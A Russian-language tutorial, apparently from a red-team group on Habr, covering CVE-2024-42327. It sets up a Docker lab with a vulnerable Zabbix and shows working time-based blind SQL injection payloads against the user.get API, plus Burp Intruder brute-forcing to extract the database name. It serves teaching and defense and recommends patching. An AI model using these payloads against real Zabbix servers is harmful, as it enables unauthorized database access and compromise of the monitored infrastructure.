Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)

Введение

Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.

Для чего нужен:

  • Мониторинг ресурсов: CPU, память, диски, сетевые интерфейсы.

  • Слежение за доступностью: Проверка работы сайтов, приложений, баз данных.

  • Уведомления: Настройка алертов (e-mail, Telegram, SMS) при сбоях или достижении критических значений.

  • Сбор метрик: Анализ производительности и прогнозирование проблем.

  • Автоматизация задач: Выполнение удалённых команд на серверах.

Zabbix полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Об уязвимости

27 ноября 2024 года была выявлена критическая уязвимость в Zabbix с CVSS-оценкой 9.9, представляющая собой SQL-инъекцию в одном из эндпоинтов API Zabbix. Уязвимость позволяет атакующему, имеющему доступ к API, выполнить произвольные SQL-запросы. При определённых настройках Zabbix, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом Zabbix.

Уязвимости подвержены следующие версии Zabbix Frontend:

6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1

SQL-инъекция — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.

Подготовка тестового окружения

Для развертывания стенда будет использована виртуальная машина с операционной системой Debian, на которой Zabbix версии 6.0.30 будет развернут в Docker контейнере. Установка будет производиться с использованием следующих команд:

sudo apt install docker.io docker-compose # установка Docker и docker-compose
nano docker-compose.yaml

После выполнения этих команд откроется текстовый редактор с файлом docker-compose.yaml, в который необходимо внести следующее содержимое:

version: '3.5'

services:
  zabbix-db:
    image: mysql:8.0-oracle
    container_name: zabbix-db
    environment:
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - zabbix-db-data:/var/lib/mysql
    restart: unless-stopped

  zabbix-server:
    image: zabbix/zabbix-server-mysql:ubuntu-6.0.30
    container_name: zabbix-server
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
    depends_on:
      - zabbix-db
    ports:
      - "10051:10051"
    restart: unless-stopped

  zabbix-web:
    image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30
    container_name: zabbix-web
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      PHP_TZ: Europe/Moscow
    depends_on:
      - zabbix-server
    ports:
      - "8080:8080"
    restart: unless-stopped

  zabbix-agent:
    image: zabbix/zabbix-agent:ubuntu-6.0.30
    container_name: zabbix-agent
    environment:
      ZBX_SERVER_HOST: zabbix-server
    depends_on:
      - zabbix-server
    restart: unless-stopped

volumes:
  zabbix-db-data:

Теперь для запуска Zabbix достаточно выполнить команду из каталога, содержащего файл docker-compose.yaml:

sudo docker-compose up -d

Веб-интерфейс Zabbix стал доступен по адресу: http://127.0.0.1:8080:

cec6d77268f804c1006db6121b867fa5.png

Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на GitHub.

Подготовка условий для эксплуатации уязвимости

Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к API. Для демонстрации создадим аккаунт с минимальными правами, но доступом к API. Создать пользователя можно в разделе Administration → Users:

6bf9c6f5e5465b54c3fea9cc1b842cb6.png

Стандартные админские учётные данные Zabbix:

Логин: Admin

Пароль: zabbix

Создадим учетную запись giscyber и назначим специальную роль для этой учетной записи в разделе Administration → User roles. Роль будет настроена с минимальными привилегиями и доступом к API:

6968fc9a04eedd58fa9a38762e543aef.png

Для получения токена сессии отправьте POST запрос с логином и паролем пользователя к API Zabbix:

9cfd6daa3ba40a8422adf19e16830c20.png

Получив сессионный ключ, можно приступить к эксплуатации уязвимости.

Эксплуатация уязвимости

Эндпоинт users.get, доступный любому пользователю Zabbix с доступом к API, уязвим к Time-based Blind SQL injection. Для проверки уязвимости можно отправить следующий запрос на /api_jsonrpc.php:

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
      "roleid",
      "name",
      "type",
      "readonly AND (SELECT(SLEEP(5)))"
    ],
    "userids": [
      "1",
      "2"
    ]
  },
  "id": 1,
  "auth": "**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**"
}

SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.

Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.

Как видно, в данном запросе используется встроенная в MySQL функция SLEEP(), которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к Time-based blind SQL injection:

6bbc48539ce9d9e31688c65ceb5a885d.png

Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает Zabbix.

AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')

Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ »_» в нагрузку пока приложение не ответит с задержкой >= 5 секундам. Для тестовой конфигурации нагрузка отработала при 6 символах »_», значит имя базы данных содержит ровно 6 символов:

b11b390851c84aae12a38c408e548bd4.png

Выделим 1-й символ »_» и отправим его в Intruder Burp Suite, затем выберем режим Brute forcer для перебора первого символа имени базы данных:

31650bc19c1cd62ea168aa9942271683.png8b943504a0aedac8fdfcd5add9ece63c.png

Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных — «z»:

8a3025678c0a8250ac0a1b98bcc9a87d.png

Проделав такие манипуляции для всех символов, выясняем что имя БД — «zabbix»:

b6115061fbfe02307c57fd5fa746986b.png

Заключение

С помощью Time-based SQL инъекции злоумышленник может получить доступ к более привилегированным учетным записям Zabbix, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов Zabbix. Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом CVSS. В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

© Habrahabr.ru